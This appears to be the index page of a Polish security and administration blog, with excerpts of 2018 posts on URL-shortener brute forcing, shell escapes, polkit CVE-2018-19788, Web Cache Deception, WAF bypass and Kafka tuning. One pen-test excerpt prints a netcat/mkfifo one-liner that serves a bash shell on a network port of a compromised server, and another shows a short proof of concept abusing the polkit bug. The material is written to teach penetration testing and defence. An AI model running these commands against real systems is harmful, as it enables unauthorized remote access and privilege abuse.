Napisał: Patryk Krawaczyński
29/12/2018 w Bezpieczeństwo, Pen Test
S
erwisy oferujące skracanie adresów URL są do dzisiaj powszechnie stosowane. Pozwalają one utworzyć wygodny, krótki adres URL, który służy jako przekierowanie do długich i złożonych adresów. Skrócony adres URL może na przykład wyglądać tak: https://bit.ly/2TeiuwH. Po kliknięciu w niego nastąpi natychmiastowe przekierowanie do adresu URL bit.ly zapisanego za magiczną wartością 2TeiuwH (jeśli kliknąłeś w poprzedni link bez sprawdzenia dokąd prowadzi – dziękuje za zaufanie). Problem w tym, że “skróty” te można “złamać” poprzez ataki brute force. Dlatego używając tego typu serwisów nigdy nie powinniśmy w nich ukrywać linków do poufnych informacji. Zespół URLTeam z serwisu archiveteam.org – postawił sobie za cel badanie i odkrywanie tajemnic, jakie kryją się w tych magicznych wartościach.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/12/2018 w Pen Test
Z
ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!
Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab
oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:
agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
23/12/2018 w Bezpieczeństwo
W
ramach “Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
05/12/2018 w Bezpieczeństwo
U
żytkownicy posiadający UID większy od INT_MAX posiadają możliwość wykonania dowolnego polecenia za pomocą systemctl
. Błąd nie tkwi w samym systemd, jak mogliśmy się przyzwyczaić, ale w narzędziu pkttyagent, w którym PolicyKit (polkit) podczas wystąpienia błędu twierdzi, że użytkownik jest uprawniony do wykonania polecenia. Przykład działania takiego zachowania:
$ systemctl --version
systemd 239
$ pkttyagent --version
pkttyagent version 0.115
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296"
of type 'gint' is invalid or out of range for property 'uid' of type 'gint' **
ERROR:pkttyagent.c:156:main: assertion failed:
(polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
Luka sama w sobie nie jest groźna, ponieważ do stworzenia użytkownika z takim UID są już wymagane prawa administratora. Można ją jednak użyć do zamaskowania użytkownika, który ma podniesione prawa, a nie ma przypisanego UID/GID=0. Do czasu naprawienia luki można użyć obejścia w postaci wyłączenia polkit’a:
systemctl mask polkit && systemctl stop polkit
Więcej informacji: systemd issue, polkit issue, CVE-2018-19788
Napisał: Patryk Krawaczyński
19/11/2018 w Administracja
J
eśli chcemy odbyć krótką rozmowę o wydajności producenta kafki (w kontekście: logstash → kafka ← logstash → elasticsearch) musimy porozmawiać o dwóch rzeczach. Po pierwsze: opóźnieniu – ile czasu upłynęło od czasu wywołania metody send()
, dopóki komunikat nie pojawi się na brokerze. Po drugie: przepustowości – ile wiadomości może wysłać producent do brokera na sekundę. Dlaczego musimy obawiać się o te dwie wartości? Jeśli procesowanie wiadomości zajmuje nam 10 milisekund (opóźnienie) to wyraźnie przepustowość jest ograniczona do 100 wiadomości na sekundę. Patrząc na to w ten sposób można dojść do wniosku, że im wyższe opóźnienie tym większa przepustowość. Jednak związek między opóźnieniem, a przepustowością nie jest tak trywialny.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
16/10/2018 w Ataki Internetowe
2
7 lutego 2017 badacz bezpieczeństwa Omer Gil opublikował wpis opisujący atak “Web Cache Deception” (Oszukanie Pamięci Podręcznej Strony Internetowej). Wykorzystuje on funkcjonalność buforowania stron internetowych w celu potencjalnego ujawnienia poufnych informacji lub umożliwienia przejęcia konta (ang. Account Takeover). Buforowanie stron (ang. Web Caching) jest często używane w celu zmniejszenia obciążenia serwerów WWW i czasu ładowania treści stron. Atak Web Cache Deception pokazuje sposoby, w których biorąc pod uwagę pewne konfiguracje serwerów funkcja buforowania może być niewłaściwie użyta do udostępnienia treści nieprzeznaczonych do informacji publicznej. Zarówno buforujący serwer proxy, jak i strona źródłowa indywidualnie mogą mieć poprawne konfiguracje. Jednak w połączeniu ich w jeden system może dojść do nieoczekiwanego zachowania w świetle tej nowej metody ataku.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
18/09/2018 w Bezpieczeństwo, Pen Test
J
eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted
lub -r
– to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
07/08/2018 w Pen Test
J
eśli interesują nas wcześniejsze dwie części to znajdziemy je tu (1) i tu (2). Przejdźmy teraz do kolejnej części. W ciągu ostatnich lat bezpieczeństwo webaplikacji stało się bardzo ważnym tematem w dziedzinie IT. Zalety, jakie oferuje sieć sprawiły, że bardzo ważne usługi zostają opracowane jako aplikacje internetowe. Wymagania biznesowe związane z bezpieczeństwem wspomnianych aplikacji również uległy przemianie. Oprócz dobrych praktyk programistycznych wymagane są też dobre praktyki bezpieczeństwa. Stosowane są dodatkowe zabezpieczenia takie, jak WAF (ang. Web Application Firewall). Zapory sieciowe aplikacji to transparentne zapory ogniowe warstwy siódmej, które kontrolują ruch sieciowy i “próbują” chronić aplikację przed atakami.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
04/08/2018 w Bezpieczeństwo
D
laczego nie zawsze można ufać logom serwera WWW przedstawił Andrzej Broński na łamach serwisu sekurak. Podsumowując: jeśli używamy konfiguracji Apache (prefork MPM) + mod_php (która jest przestarzała i nie zalecana przez Apache), pozwalając w dodatku na wywołania niebezpiecznej funkcji exec może dojść do sytuacji, w której wywołanie skryptu PHP nie zostanie nigdzie zalogowane.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
15/07/2018 w Administracja
W
przeciwieństwie do wielu podstawowych narzędzi systemów Unix i Linux, nazwa polecenia rm
nie jest starsza niż sam Unix. W poprzednikach Uniksa – Compatible Time Sharing System (CTSS) i Multics, polecenie używane do usuwania plików nazywało się delete
(w Multics opcjonalnie mogło zostać skrócone do dl
). W systemie Unix nazwa rm
została prawdopodobnie użyta, aby odzwierciedlić filozofię zmiany z usuwania plików na usuwanie wpisów, które prowadziły do ich pozycji.
[ czytaj całość… ]
Ostatni komentarz :